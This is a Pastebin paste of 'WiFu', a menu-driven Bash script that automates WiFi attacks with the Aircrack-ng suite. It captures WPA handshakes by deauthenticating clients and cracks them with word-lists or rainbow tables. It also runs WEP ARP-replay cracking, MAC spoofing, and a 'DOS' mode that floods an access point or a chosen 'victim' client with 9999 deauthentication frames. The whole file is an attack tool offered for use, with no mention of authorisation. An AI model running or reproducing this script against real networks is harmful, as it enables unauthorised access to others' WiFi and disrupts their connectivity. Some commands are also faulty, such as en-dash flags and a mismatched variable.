Advertisement
SH1NU11b1

wifu

Oct 21st, 2015
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 22.59 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. ##################################################################################################
  4. # WiFu is a simple bash script that uses the Aircrack-ng suite to make WiFi cracking a breeze... #
  5. #                                                                                                #
  6. # v1.0 By:thaGH05T Email support questions to john@ghostlyhaks.com                               #
  7. ##################################################################################################
  8. # This program is free software; you can redistribute it and/or modify it under the terms of the #
  9. # GNU General Public License as published by the Free Software Foundation; either version 2 of   #
  10. # the License, or any later version.                                                             #
  11. #                                                                                                #
  12. # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;      #
  13. # without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See  #
  14. # the GNU General Public License for more details.                                               #
  15. #                                                                                                #
  16. # You should have received a copy of the GNU General Public License along with this program; if  #
  17. # not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,     #
  18. # MA  02110-1301, USA.                                                                           #
  19. ##################################################################################################
  20.  
  21. ######### Start by clearing the terminal.
  22.  
  23. clear
  24.  
  25. ############### Catch ctrl-c input from user
  26.  
  27. trap main 2
  28.  
  29. ############# Set global functions
  30.  
  31. main () {
  32.  
  33. clear
  34.  
  35. echo -e "
  36.  
  37. \e[1;34m[*]\e[0m Please wait while we clean up your mess...
  38.  
  39. "
  40.  
  41. airmon-ng stop mon0 >>.trash.txt
  42.  
  43. if [[ -e .trash.txt ]] ; then
  44.  
  45. rm .trash.txt
  46.  
  47. fi
  48.  
  49. if [[ -e .wifi.kate-swp ]] ; then
  50.  
  51. rm .wifi.kate-swp
  52.  
  53. fi
  54.  
  55. sleep 3
  56.  
  57. bash ${0}
  58.  
  59. kill $$
  60.  
  61. }
  62.  
  63. ########### Loop for main menu
  64.  
  65. mainmenu=1
  66.  
  67. while [[ $mainmenu == 1 ]] ; do
  68.  
  69. # Run only as root.
  70.  
  71. if [ "$(id -u)" != "0" ]; then
  72.  
  73.     echo -e "
  74.    
  75.    \e[1;31m[!]\e[0m \e[1;5m This script must be run as root!!! \e[0m
  76.    
  77.    "
  78.  
  79. exit 1
  80.  
  81. else
  82.  
  83.     clear
  84.  
  85. fi
  86.  
  87. ########### Create variable for the title.
  88.  
  89. atitle="
  90.  
  91. \e[31m############################################\e[0m
  92. \e[31m#\e[0m          \e[34mWiFu v1.0 - By:thaGH05T\e[0m         \e[31m#\e[0m
  93. \e[31m#\e[0m                                          \e[31m#\e[0m
  94. \e[31m#\e[0m  \e[34mFor support email john@ghostlyhaks.com\e[0m  \e[31m#\e[0m
  95. \e[31m#\e[0m                                          \e[31m#\e[0m
  96. \e[31m#\e[0m   \e[34mMaking WiFi cracking easy since 2013\e[0m   \e[31m#\e[0m
  97. \e[31m############################################\e[0m
  98.  
  99. \e[31m                    (          
  100.           (  (           )\ )      
  101.           )\))(   ' (   (()/(   (  
  102.          ((_)()\ )  )\   /(_)) ))\  
  103.          _(())\_)()((_) (_))_|/((_)          
  104.          \ \((_)/ / (_) | |_ (_))(  
  105.           \ \/\/ /  | | | __|| || |
  106.            \_/\_/   |_| |_|   \_,_| \e[0m
  107.            
  108.            
  109.        
  110. Press \e[1;31mCtrl+C\e[0m at any time to quit and return to the main menu.
  111.  
  112. Wich attack would you like to launch first???
  113.        
  114. "
  115.  
  116. ################### Set the prompt
  117.  
  118. prompt="Option: "
  119.  
  120. ################### Set options
  121.  
  122. options=("Just Listen" "Just Crack" "Spoof MAC" "WPA" "WEP" "DOS" "Main Menu" "Quit")
  123.  
  124. echo -e "$atitle"
  125.  
  126. PS3="
  127. $prompt"
  128.  
  129. #################### What each option does
  130.  
  131. select opt in "${options[@]}" ; do
  132.  
  133.     case $opt in
  134.    
  135. ###################### Start Just Listen
  136.    
  137.     "Just Listen")
  138.    
  139.     jl=1
  140.    
  141.     while [[ $jl == 1 ]] ; do
  142.    
  143.     clear
  144.    
  145.     echo -e
  146.    
  147.     ifconfig | grep wlan
  148.    
  149.     echo -e "
  150.    
  151.     \e[1;34m[*]\e[0m Wich of the above wireless interfaces would you like to put in monitor mode? [wlan0]
  152.    
  153.     "
  154.    
  155.     read card
  156.    
  157.         if [[ $card == "" ]] ; then
  158.        
  159.         card=wlan0
  160.        
  161.         fi
  162.    
  163.         if [[ $card == wlan* ]] ; then
  164.        
  165.         echo -e "
  166.        
  167.     Press \e[1;31mCtrl+C\e[0m at any time to quit and return to the main menu.
  168.        
  169.         "
  170.        
  171.         sleep 2
  172.        
  173.         airmon-ng start $card >>.trash.txt
  174.        
  175.         airodump-ng mon0
  176.        
  177.         jl=0
  178.        
  179.         else
  180.        
  181.         clear
  182.        
  183.         echo -e "
  184.        
  185.     \e[1;31m[!]\e[0m Not a valid wireless device. Please try again."
  186.        
  187.         sleep 3
  188.        
  189.         fi
  190.        
  191.     done
  192.    
  193.     ;;
  194.    
  195. ##################### Start Just Crack
  196.    
  197.     "Just Crack")
  198.    
  199.     jc=1
  200.    
  201.     while [[ $jc == 1 ]] ; do
  202.    
  203.         clear
  204.        
  205.         echo -e "
  206.        
  207.     \e[1;34m[*]\e[0m What would you like to do? [1|2]
  208.        
  209.         1) Use pre-computed rainbow tables.
  210.        
  211.         2) Use dictionary file or word-list.
  212.        
  213.         "
  214.        
  215.         read crack
  216.        
  217.         if [[ $crack == 1 ]] ; then
  218.        
  219.         clear
  220.        
  221.         echo -e "
  222.        
  223.     \e[1;34m[*]\e[0m OK, Using pre computed rainbow tables.
  224.        
  225.         "
  226.        
  227.         sleep 3
  228.        
  229.         clear
  230.        
  231.         echo -e "
  232.        
  233.     \e[1;34m[*]\e[0m What is the ESSID of the targeted network? (If the target network name has spaces make sure to place it in quotations)
  234.        
  235.         "
  236.        
  237.         read essid
  238.        
  239.         echo -e "
  240.        
  241.     \e[1;34m[*]\e[0m What is the absolute path to the rainbow tables you will be using? (You may drag-n-drop the file to populate, but do not leave trailing spaces!)
  242.        
  243.         "
  244.        
  245.         read rt
  246.        
  247.         echo -e "
  248.        
  249.     \e[1;34m[*]\e[0m What is the absolute path to the capture file you want to crack? (You may drag-n-drop the file to populate, but do not leave trailing spaces!)
  250.        
  251.         "
  252.        
  253.         read cap
  254.        
  255.         cowpatty –s $essid –d $rt –r $cap || { echo -e '
  256.  
  257.     \e[1;31m[!]\e[0m Operation failed! Program will now exit.
  258.  
  259.         ' ; exit 1; }
  260.        
  261.         jc=0
  262.        
  263.         elif [[ $crack == 2 ]] ; then
  264.        
  265.          clear
  266.        
  267.          echo -e "
  268.          
  269.     \e[1;34m[*]\e[0m Ok, using dictionary or word-list
  270.          
  271.          "
  272.          
  273.          sleep 3
  274.          
  275.          clear
  276.          
  277.          echo -e "
  278.          
  279.     \e[1;34m[*]\e[0m What is the absolute path to the dictionary or word-list you want to use? (You may drag-n-drop the file to populate, but do not leave trailing spaces!)
  280.          
  281.          "
  282.          
  283.          read word
  284.          
  285.          echo -e "
  286.          
  287.     \e[1;34m[*]\e[0m What is the absolute path to the ivs file you want to crack? (You may drag-n-drop the file to populate, but do not leave trailing spaces!)
  288.          
  289.          "
  290.          
  291.          read ivs
  292.          
  293.          aircrack-ng -l ~/cracked-password.txt -w $word $ivs || { echo -e '
  294.  
  295.     \e[1;31m[!]\e[0m Operation failed! Program will now exit.
  296.  
  297.         ' ; exit 1; }
  298.        
  299.         jc=0
  300.        
  301.         else
  302.        
  303.         clear
  304.        
  305.         echo -e "
  306.        
  307.     \e[1;31m[!]\e[0m Not a valid operation. Please try again.
  308.        
  309.         "
  310.        
  311.         sleep 3
  312.        
  313.         fi
  314.        
  315.     done
  316.    
  317.     echo -e "
  318.    
  319.     \e[1;32mAll Done!!!\e[0m - If you used a dictionary or word-list and your passphrase was found then it was saved to cracked-password.txt in your home directory. If you use rainbow tables and your passphrase was found it is listed above so take the time to record it now.
  320.    
  321.     Press \e[1;31mCtrl+C\e[0m at any time to quit and return to the main menu.
  322.    
  323.     "
  324.    
  325.     ;;
  326.    
  327. #################### Start Spoof MAC
  328.  
  329.     "Spoof MAC")
  330.    
  331.     sm=1
  332.    
  333.     while [[ $sm == 1 ]] ; do
  334.    
  335.     clear
  336.    
  337.     echo -e
  338.    
  339.     ifconfig | grep wlan
  340.    
  341.     echo -e "
  342.    
  343.     \e[1;34m[*]\e[0m Wich of the above wireless interfaces would you like to put in monitor mode? [wlan0]
  344.    
  345.     "
  346.    
  347.     read card
  348.    
  349.         if [[ $card == "" ]] ; then
  350.        
  351.         card=wlan0
  352.        
  353.         fi
  354.  
  355.         if [[ $card == wlan* ]] ; then
  356.        
  357.         ifconfig $card down >>.trash.txt
  358.        
  359.         macchanger -r $card
  360.        
  361.         ifconfig $card up >>.trash.txt
  362.        
  363.         sm=0
  364.        
  365.         else
  366.        
  367.         clear
  368.        
  369.         echo -e "
  370.        
  371.     \e[1;31m[!]\e[0m Not a valid wireless device. Please try again."
  372.        
  373.         sleep 3
  374.        
  375.         fi
  376.        
  377.     done
  378.    
  379.     echo -e "
  380.        
  381.     All done!!! Press \e[1;31mCtrl+C\e[0m at any time to quit and return to the main menu.
  382.        
  383.         "
  384.    
  385.     ;;
  386.    
  387. ############### Start WPA
  388.    
  389.     "WPA")
  390.    
  391.         ncard=1
  392.        
  393.         while [[ $ncard == 1 ]] ; do
  394.    
  395.         clear
  396.    
  397.         echo -e
  398.    
  399.         ifconfig | grep wlan
  400.    
  401.         echo -e "
  402.    
  403.     \e[1;34m[*]\e[0m Wich of the above wireless interfaces would you like to put in monitor mode? [wlan0]
  404.    
  405.     "
  406.    
  407.         read card
  408.    
  409.         if [[ $card == "" ]] ; then
  410.        
  411.         card=wlan0
  412.        
  413.         fi
  414.    
  415.         if [[ $card == wlan* ]] ; then
  416.        
  417.         clear
  418.        
  419.         ncard=0
  420.        
  421.         else
  422.        
  423.         clear
  424.        
  425.         echo -e "
  426.        
  427.     \e[1;31m[!]\e[0m Not a valid wireless device. Please try again."
  428.        
  429.         sleep 3
  430.        
  431.         fi
  432.        
  433.         done
  434.    
  435.         clear
  436.    
  437.         airmon-ng start $card >>.trash.txt
  438.    
  439.         echo -e "
  440.    
  441.     \e[1;34m[*]\e[0m New tabs will open running various commands to gather info. Come back to this tab to input data.
  442.    
  443.         "
  444.    
  445.         sleep 5
  446.    
  447.         konsole --new-tab -e airodump-ng mon0 2>>.trash.txt
  448.        
  449.         qnet=1
  450.        
  451.         while [[ $qnet == 1 ]] ; do
  452.    
  453.         echo -e "
  454.    
  455.     \e[1;34m[*]\e[0m What is the name of the network you want to target?
  456.    
  457.         "
  458.    
  459.         read net
  460.        
  461.         if [[ $net == "" ]] ; then
  462.        
  463.         clear
  464.        
  465.         echo -e "
  466.        
  467.     \e[1;31m[!]\e[0m You didn't type anything. Please try again.
  468.        
  469.         "
  470.        
  471.         sleep 3
  472.        
  473.         elif [[ $net == * ]] ; then
  474.    
  475.         clear
  476.        
  477.         qnet=0
  478.        
  479.         fi
  480.        
  481.         done
  482.        
  483.         qone=1
  484.        
  485.         while [[ $qone == 1 ]] ; do
  486.    
  487.         echo -e "
  488.    
  489.     \e[1;34m[*]\e[0m What is the BSSID of the network you want to target?
  490.    
  491.         "
  492.    
  493.         read bssid
  494.        
  495.         if [[ $bssid == "" ]] ; then
  496.        
  497.         clear
  498.        
  499.         echo -e "
  500.        
  501.     \e[1;31m[!]\e[0m You didn't type anything. Please try again.
  502.        
  503.         "
  504.        
  505.         sleep 3
  506.        
  507.         elif [[ $bssid == * ]] ; then
  508.    
  509.         clear
  510.        
  511.         qone=0
  512.        
  513.         fi
  514.        
  515.         done
  516.        
  517.         qtwo=1
  518.        
  519.         while [[ $qtwo == 1 ]] ; do
  520.        
  521.         echo -e "
  522.    
  523.     \e[1;34m[*]\e[0m What channel is the network on?
  524.    
  525.         "
  526.        
  527.         read chan
  528.        
  529.         if [[ $chan == "" ]] ; then
  530.        
  531.         clear
  532.        
  533.         echo -e "
  534.        
  535.     \e[1;31m[!]\e[0m You didn't type anything. Please try again.
  536.        
  537.         "
  538.        
  539.         sleep 3
  540.        
  541.         elif [[ $chan == * ]] ; then
  542.        
  543.         clear
  544.          
  545.         qtwo=0
  546.        
  547.         fi
  548.        
  549.         done
  550.        
  551.         qthree=1
  552.        
  553.         while [[ $qthree == 1 ]] ; do
  554.        
  555.         echo -e "
  556.    
  557.     \e[1;34m[*]\e[0m What do you want to name the capture file?
  558.    
  559.         "
  560.    
  561.         read name
  562.        
  563.         if [[ $name == "" ]] ; then
  564.    
  565.             clear
  566.        
  567.             echo -e "
  568.        
  569.     \e[1;31m[!]\e[0m You didn't type anything. Please try again.
  570.        
  571.         "
  572.        
  573.             sleep 3
  574.        
  575.         elif [[ $name == * ]] ; then
  576.        
  577.         qthree=0
  578.        
  579.         fi
  580.        
  581.         done
  582.        
  583.         clear
  584.    
  585.         echo -e "
  586.    
  587.     \e[1;34m[*]\e[0m You now have 10 seconds to close the previousely opened tab. GO!
  588.    
  589.         "
  590.    
  591.         sleep 10
  592.    
  593.         clear
  594.    
  595.         howonetwo=1
  596.    
  597.         while [[ $howonetwo == 1 ]] ; do
  598.        
  599.         clear
  600.        
  601.         echo -e "
  602.    
  603.     \e[1;34m[*]\e[0m How do you plan on cracking the capture file? [1|2]
  604.    
  605.         1) With pre-computed rainbow tables.
  606.        
  607.         2) Wth a dictionary file or word-list.
  608.    
  609.     "
  610.    
  611.         read how
  612.    
  613.         if [[ $how == "1" ]] ; then
  614.    
  615.             konsole --new-tab -e airodump-ng -c $chan -w $name --bssid $bssid mon0 2>>.trash.txt
  616.        
  617.             howonetwo=0
  618.        
  619.         elif [[ $how == "2" ]] ; then
  620.    
  621.             konsole --new-tab -e airodump-ng -c $chan -w $name --bssid $bssid --ivs mon0 2>>.trash.txt
  622.        
  623.             howonetwo=0
  624.        
  625.         else
  626.    
  627.             clear
  628.        
  629.             echo -e "
  630.        
  631.     \e[1;31m[!]\e[0m Not a valid operation. Please try again.
  632.        
  633.         "
  634.        
  635.             sleep 3
  636.        
  637.         fi
  638.    
  639.         done
  640.    
  641.         clear
  642.        
  643.         echo -e "
  644.    
  645.     \e[1;34m[*]\e[0m OK, lets try and deauthenticate a client to get the handshake. What is the station ID?
  646.    
  647.     "
  648.    
  649.         read client
  650.        
  651.         handyn=1
  652.    
  653.         while [[ $handyn == 1 ]] ; do
  654.    
  655.         echo -e
  656.    
  657.         aireplay-ng -0 10 -a $bssid -c $client mon0
  658.    
  659.         echo -e "
  660.    
  661.     \e[1;34m[*]\e[0m Look in the window that was opened a minute ago and see if the handshake appeared at the top.
  662.    
  663.     "
  664.    
  665.         echo -e "
  666.    
  667.     \e[1;34m[*]\e[0m Did the handshake appear? [y|n|new]
  668.    
  669.     "
  670.    
  671.         read hand
  672.    
  673.         if [[ $hand == y ]] ; then
  674.        
  675.             clear
  676.    
  677.             echo -e "
  678.    
  679.     \e[1;34m[*]\e[0m OK, time to crack the capture file!
  680.    
  681.     "
  682.    
  683.             sleep 3
  684.    
  685.             handyn=0
  686.    
  687.         elif [[ $hand == n ]] ; then
  688.        
  689.         clear
  690.    
  691.             echo -e "
  692.    
  693.     \e[1;34m[*]\e[0m OK, lets try again. If you do not recieve a handshake after a few more tries you can type [new] to deauthenticate a different client or you can press \e[1;31mCtrl+C\e[0m to go back to the main menu.
  694.    
  695.     "
  696.    
  697.             sleep 5
  698.            
  699.             clear
  700.    
  701.         elif [[ $hand == new ]] ; then
  702.        
  703.         clear
  704.        
  705.         echo -e "
  706.    
  707.     \e[1;34m[*]\e[0m OK, lets try and deauthenticate a client to get the handshake. What is the station ID?
  708.    
  709.     "
  710.    
  711.         read client
  712.    
  713.         else
  714.    
  715.             clear
  716.    
  717.             echo -e "
  718.    
  719.     \e[1;31m[!]\e[0m Invalid operation. Please try again.
  720.    
  721.     "
  722.    
  723.         fi
  724.  
  725.         done
  726.    
  727.     if [[ $how == 1 ]] ; then
  728.    
  729.         where=1
  730.        
  731.         while [[ $where == 1 ]] ; do
  732.    
  733.         echo -e "
  734.        
  735.     \e[1;34m[*]\e[0m What is the absolute path to the rainbow tables you will be using? (You may drag-n-drop the file to populate, but do not leave trailing spaces!)
  736.        
  737.         "
  738.        
  739.         read rt
  740.        
  741.         if [[ $rt == "" ]] ; then
  742.        
  743.             clear
  744.    
  745.             echo -e "
  746.    
  747.     \e[1;31m[!]\e[0m Invalid file path. Please try again.
  748.    
  749.     "
  750.            
  751.         else
  752.        
  753.             clear
  754.            
  755.             where=0
  756.            
  757.         fi
  758.        
  759.         done
  760.    
  761.         cowpatty –s $net –d $rt –r ~/$name-01.cap || { echo -e '
  762.  
  763.     \e[1;31m[!]\e[0m Operation failed! Program will now exit.
  764.  
  765.         ' ; exit 1; }
  766.        
  767.         elif [[ $how == 2 ]] ; then
  768.        
  769.         what=1
  770.        
  771.         while [[ $what == 1 ]] ; do
  772.        
  773.             echo -e "
  774.          
  775.     \e[1;34m[*]\e[0m What is the absolute path to the dictionary or word-list you want to use? (You may drag-n-drop the file to populate, but do not leave trailing spaces!)
  776.          
  777.          "
  778.          
  779.             read word
  780.            
  781.             if [[ $word == "" ]] ; then
  782.            
  783.             clear
  784.    
  785.             echo -e "
  786.    
  787.     \e[1;31m[!]\e[0m Invalid file path. Please try again.
  788.    
  789.     "
  790.            
  791.             else
  792.        
  793.             clear
  794.            
  795.             what=0
  796.            
  797.             fi
  798.            
  799.             done
  800.            
  801.             aircrack-ng -l ~/cracked-password.txt -w $word ~/$name-01.ivs || { echo -e '
  802.  
  803.     \e[1;31m[!]\e[0m Operation failed! Program will now exit.
  804.  
  805.         ' ; exit 1; }
  806.        
  807.         fi
  808.        
  809.         echo -e "
  810.    
  811.     \e[1;32mAll Done!!!\e[0m - If you used a dictionary or word-list and your passphrase was found then it was saved to cracked-password.txt in your home directory. If you used rainbow tables and your passphrase was found it is listed above so take the time to record it now.
  812.    
  813.     Press \e[1;31mCtrl+C\e[0m at any time to quit and return to the main menu.
  814.    
  815.     "
  816.    
  817.     ;;
  818.    
  819. ##################### Start WEP
  820.    
  821.     "WEP")
  822.    
  823.         ncard=1
  824.        
  825.         while [[ $ncard == 1 ]] ; do
  826.    
  827.         clear
  828.    
  829.         echo -e
  830.    
  831.         ifconfig | grep wlan
  832.    
  833.         echo -e "
  834.    
  835.     \e[1;34m[*]\e[0m Wich of the above wireless interfaces would you like to put in monitor mode? [wlan0]
  836.    
  837.     "
  838.    
  839.         read card
  840.    
  841.         if [[ $card == "" ]] ; then
  842.        
  843.         card=wlan0
  844.        
  845.         fi
  846.    
  847.         if [[ $card == wlan* ]] ; then
  848.        
  849.         clear
  850.        
  851.         ncard=0
  852.        
  853.         else
  854.        
  855.         clear
  856.        
  857.         echo -e "
  858.        
  859.     \e[1;31m[!]\e[0m Not a valid wireless device. Please try again."
  860.        
  861.         sleep 3
  862.        
  863.         fi
  864.        
  865.         done
  866.    
  867.         clear
  868.    
  869.         airmon-ng start $card >>.trash.txt
  870.    
  871.         echo -e "
  872.    
  873.     \e[1;34m[*]\e[0m New tabs will open running various commands to gather info. Come back to this tab to input data.
  874.    
  875.         "
  876.    
  877.         sleep 5
  878.    
  879.         konsole --new-tab -e airodump-ng mon0 2>>.trash.txt
  880.        
  881.         qone=1
  882.        
  883.         while [[ $qone == 1 ]] ; do
  884.    
  885.         echo -e "
  886.    
  887.     \e[1;34m[*]\e[0m What is the BSSID of the network you want to target?
  888.    
  889.         "
  890.    
  891.         read bssid
  892.        
  893.         if [[ $bssid == "" ]] ; then
  894.        
  895.         clear
  896.        
  897.         echo -e "
  898.        
  899.     \e[1;31m[!]\e[0m You didn't type anything. Please try again.
  900.        
  901.         "
  902.        
  903.         sleep 3
  904.        
  905.         elif [[ $bssid == * ]] ; then
  906.    
  907.         clear
  908.        
  909.         qone=0
  910.        
  911.         fi
  912.        
  913.         done
  914.        
  915.         qtwo=1
  916.        
  917.         while [[ $qtwo == 1 ]] ; do
  918.        
  919.         echo -e "
  920.    
  921.     \e[1;34m[*]\e[0m What channel is the network on?
  922.    
  923.         "
  924.        
  925.         read chan
  926.        
  927.         if [[ $chan == "" ]] ; then
  928.        
  929.         clear
  930.        
  931.         echo -e "
  932.        
  933.     \e[1;31m[!]\e[0m You didn't type anything. Please try again.
  934.        
  935.         "
  936.        
  937.         sleep 3
  938.        
  939.         elif [[ $chan == * ]] ; then
  940.        
  941.         clear
  942.          
  943.         qtwo=0
  944.        
  945.         fi
  946.        
  947.         done
  948.        
  949.         qthree=1
  950.        
  951.         while [[ $qthree == 1 ]] ; do
  952.        
  953.         echo -e "
  954.    
  955.     \e[1;34m[*]\e[0m What do you want to name the capture file?
  956.    
  957.         "
  958.    
  959.         read name
  960.        
  961.         if [[ $name == "" ]] ; then
  962.    
  963.             clear
  964.        
  965.             echo -e "
  966.        
  967.     \e[1;31m[!]\e[0m You didn't type anything. Please try again.
  968.        
  969.         "
  970.        
  971.             sleep 3
  972.        
  973.         elif [[ $name == * ]] ; then
  974.        
  975.         qthree=0
  976.        
  977.         fi
  978.        
  979.         done
  980.        
  981.         clear
  982.    
  983.         echo -e "
  984.    
  985.     \e[1;34m[*]\e[0m You now have 10 seconds to close the previousely opened tab. GO!
  986.    
  987.         "
  988.    
  989.         sleep 10
  990.    
  991.         clear
  992.        
  993.         konsole --new-tab -e airodump-ng -c $chan -w $name --bssid $bssid mon0 2>>.trash.txt
  994.    
  995.         echo -e "
  996.    
  997.     \e[1;34m[*]\e[0m OK, now starting WEP attack?
  998.    
  999.     "
  1000.    
  1001.         konsole --new-tab -e aireplay-ng -1 0 -a $bssid mon0
  1002.        
  1003.         clear
  1004.        
  1005.         konsole --new-tab -e aireplay-ng -3 -b $bssid mon0
  1006.    
  1007.         echo -e "
  1008.    
  1009.     \e[1;34m[*]\e[0m Wait a minute or two and watch the data rise in the first window that initially opened.
  1010.    
  1011.     "
  1012.    
  1013.         sleep 3
  1014.        
  1015.         dat=1
  1016.        
  1017.         while [[ $dat == 1 ]] ; do
  1018.    
  1019.         echo -e "
  1020.    
  1021.     \e[1;34m[*]\e[0m Has the data risen to over 5K? [y|n]
  1022.    
  1023.     "
  1024.    
  1025.         read data
  1026.    
  1027.         if [[ $data == y ]] ; then
  1028.        
  1029.             clear
  1030.    
  1031.             echo -e "
  1032.    
  1033.     \e[1;34m[*]\e[0m OK, time to crack the capture file!
  1034.    
  1035.     "
  1036.    
  1037.             sleep 3
  1038.    
  1039.             dat=0
  1040.    
  1041.         elif [[ $hand == n ]] ; then
  1042.        
  1043.         clear
  1044.    
  1045.             echo -e "
  1046.    
  1047.     \e[1;34m[*]\e[0m OK, lets try again. You can press \e[1;31mCtrl+C\e[0m to go back to the main menu.
  1048.    
  1049.     "
  1050.    
  1051.             sleep 3
  1052.            
  1053.             clear
  1054.  
  1055.         else
  1056.    
  1057.             clear
  1058.    
  1059.             echo -e "
  1060.    
  1061.     \e[1;31m[!]\e[0m Invalid operation. Please try again.
  1062.    
  1063.     "
  1064.    
  1065.         fi
  1066.  
  1067.         done
  1068.    
  1069.    
  1070.         aircrack-ng -l ~/cracked-password.txt ~/$name-01.cap || { echo -e '
  1071.  
  1072.     \e[1;31m[!]\e[0m Operation failed! Program will now exit.
  1073.  
  1074.         ' ; exit 1; }
  1075.        
  1076.         echo -e "
  1077.    
  1078.     \e[1;32mAll Done!!!\e[0m - If your passphrase was found then it is shown above and was saved to cracked-password.txt in your home directory.
  1079.    
  1080.     Press \e[1;31mCtrl+C\e[0m at any time to quit and return to the main menu.
  1081.    
  1082.     "
  1083.    
  1084.     ;;
  1085.    
  1086. ############### Start DOS
  1087.    
  1088.     "DOS")
  1089.    
  1090.     ncard=1
  1091.        
  1092.         while [[ $ncard == 1 ]] ; do
  1093.    
  1094.         clear
  1095.    
  1096.         echo -e
  1097.    
  1098.         ifconfig | grep wlan
  1099.    
  1100.         echo -e "
  1101.    
  1102.     \e[1;34m[*]\e[0m Wich of the above wireless interfaces would you like to put in monitor mode? [wlan0]
  1103.    
  1104.     "
  1105.    
  1106.         read card
  1107.    
  1108.         if [[ $card == "" ]] ; then
  1109.        
  1110.         card=wlan0
  1111.        
  1112.         fi
  1113.    
  1114.         if [[ $card == wlan* ]] ; then
  1115.        
  1116.         clear
  1117.        
  1118.         ncard=0
  1119.        
  1120.         else
  1121.        
  1122.         clear
  1123.        
  1124.         echo -e "
  1125.        
  1126.     \e[1;31m[!]\e[0m Not a valid wireless device. Please try again."
  1127.        
  1128.         sleep 3
  1129.        
  1130.         fi
  1131.        
  1132.         done
  1133.    
  1134.         clear
  1135.    
  1136.         airmon-ng start $card >>.trash.txt
  1137.    
  1138.         echo -e "
  1139.    
  1140.     \e[1;34m[*]\e[0m New tabs will open running various commands to gather info. Come back to this tab to input data.
  1141.    
  1142.         "
  1143.    
  1144.         sleep 5
  1145.    
  1146.         konsole --new-tab -e airodump-ng mon0 2>>.trash.txt
  1147.        
  1148.         deny=1
  1149.        
  1150.         while [[ $deny == 1 ]] ; do
  1151.        
  1152.         echo -e "
  1153.        
  1154.     \e[1;34m[*]\e[0m Who is the victim of this attack? [1|2]
  1155.    
  1156.         1) Access Point.
  1157.        
  1158.         2) Connected Client.
  1159.        
  1160.         "
  1161.        
  1162.         read who
  1163.        
  1164.         if [[ $who == "1" ]] ; then
  1165.        
  1166.             clear
  1167.            
  1168.             deny=0
  1169.            
  1170.         elif [[ $who == "2" ]] ; then
  1171.        
  1172.             clear
  1173.            
  1174.             deny=0
  1175.            
  1176.         else
  1177.        
  1178.         echo -e "
  1179.            
  1180.     \e[1;31m[!]\e[0m $who is not a valid entry. Please try again.
  1181.    
  1182.         "
  1183.        
  1184.             sleep 3
  1185.            
  1186.         fi
  1187.        
  1188.         done
  1189.        
  1190.         if [[ $who == "1" ]] ; then
  1191.        
  1192.         qone=1
  1193.        
  1194.         while [[ $qone == 1 ]] ; do
  1195.        
  1196.             echo -e "
  1197.        
  1198.     \e[1;34m[*]\e[0m What is the BSSID of the acces point you want to attack?
  1199.    
  1200.     "
  1201.             read bssid
  1202.            
  1203.             if [[ $bssid == "" ]] ; then
  1204.            
  1205.             echo -e "
  1206.            
  1207.     \e[1;31m[!]\e[0m You didn't type anything. Please try again.
  1208.    
  1209.     "
  1210.    
  1211.             sleep 3
  1212.            
  1213.             elif [[ $bssid == * ]] ; then
  1214.            
  1215.             echo -e "
  1216.            
  1217.     \e[1;34m[*]\e[0m OK. Now starting the DOS attack.
  1218.    
  1219.     "
  1220.    
  1221.     sleep 3
  1222.    
  1223.             aireplay-ng -0 9999 -a $bssid mon0 || { echo -e '
  1224.  
  1225.     \e[1;31m[!]\e[0m Operation failed! Program will now exit.
  1226.    
  1227.      ' ; exit 1; }
  1228.      
  1229.             fi
  1230.            
  1231.         done
  1232.        
  1233.         else
  1234.        
  1235.         qtwo=1
  1236.        
  1237.         while [[ $qtwo == 1 ]] ; do
  1238.        
  1239.             echo -e "
  1240.        
  1241.     \e[1;34m[*]\e[0m What is the BSSID of the acces point you want to attack?
  1242.    
  1243.     "
  1244.             read bssid
  1245.            
  1246.             if [[ $bssid == "" ]] ; then
  1247.            
  1248.             echo -e "
  1249.            
  1250.     \e[1;31m[!]\e[0m You didn't type anything. Please try again.
  1251.    
  1252.     "
  1253.    
  1254.             sleep 3
  1255.            
  1256.             elif [[ $bssid == * ]] ; then
  1257.            
  1258.             clear
  1259.            
  1260.             qtwo=0
  1261.            
  1262.             fi
  1263.            
  1264.         done
  1265.        
  1266.         qthree=1
  1267.        
  1268.         while [[ $qthree == 1 ]] ; do
  1269.        
  1270.             echo -e "
  1271.        
  1272.     \e[1;34m[*]\e[0m What is the clients station ID?
  1273.    
  1274.     "
  1275.             read station
  1276.            
  1277.             if [[ $station == "" ]] ; then
  1278.            
  1279.             echo -e "
  1280.            
  1281.     \e[1;31m[!]\e[0m You didn't type anything. Please try again.
  1282.    
  1283.     "
  1284.    
  1285.             sleep 3
  1286.            
  1287.             elif [[ $station == * ]] ; then
  1288.            
  1289.             clear
  1290.            
  1291.             qthree=0
  1292.            
  1293.             fi
  1294.            
  1295.         done
  1296.        
  1297.         fi
  1298.        
  1299.         echo -e "
  1300.        
  1301.         \e[1;34m[*]\e[0m OK. Now starting the DOS attack.
  1302.        
  1303.         "
  1304.        
  1305.         sleep 3
  1306.        
  1307.         aireplay-ng -0 9999 -a $bssid -c $station mon0 || { echo -e '
  1308.  
  1309.     \e[1;31m[!]\e[0m Operation failed! Program will now exit.
  1310.    
  1311.      ' ; exit 1; }
  1312.        
  1313.     ;;
  1314.    
  1315. ###################### Start Main Menu
  1316.    
  1317.     "Main Menu")
  1318.    
  1319.         break
  1320.    
  1321.     ;;
  1322.    
  1323. ################### Start Quit
  1324.    
  1325.     "Quit")
  1326.    
  1327.     clear
  1328.    
  1329.     echo -e "
  1330.    
  1331.     \e[5;31mT\e[5;32mh\e[5;33ma\e[5;34mn\e[5;35mk \e[5;36mY\e[5;37mo\e[5;31mu \e[5;32mF\e[5;33mo\e[5;34mr \e[5;35mU\e[5;36ms\e[5;37mi\e[5;31mn\e[5;31mg \e[5;32mW\e[5;33mi\e[5;34mF\e[5;35mu\e[5;36m!\e[5;37m!\e[5;31m!\e[0m
  1332.    
  1333.     "
  1334.    
  1335.     exit 1
  1336.    
  1337.     ;;
  1338.    
  1339.     *)
  1340.    
  1341.     echo -e "
  1342.    
  1343.     \e[1;31m[!]\e[0m Please choose a valid operation..."
  1344.    
  1345.     sleep 3
  1346.    
  1347.     break
  1348.    
  1349. esac
  1350.    
  1351.     done
  1352.    
  1353. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement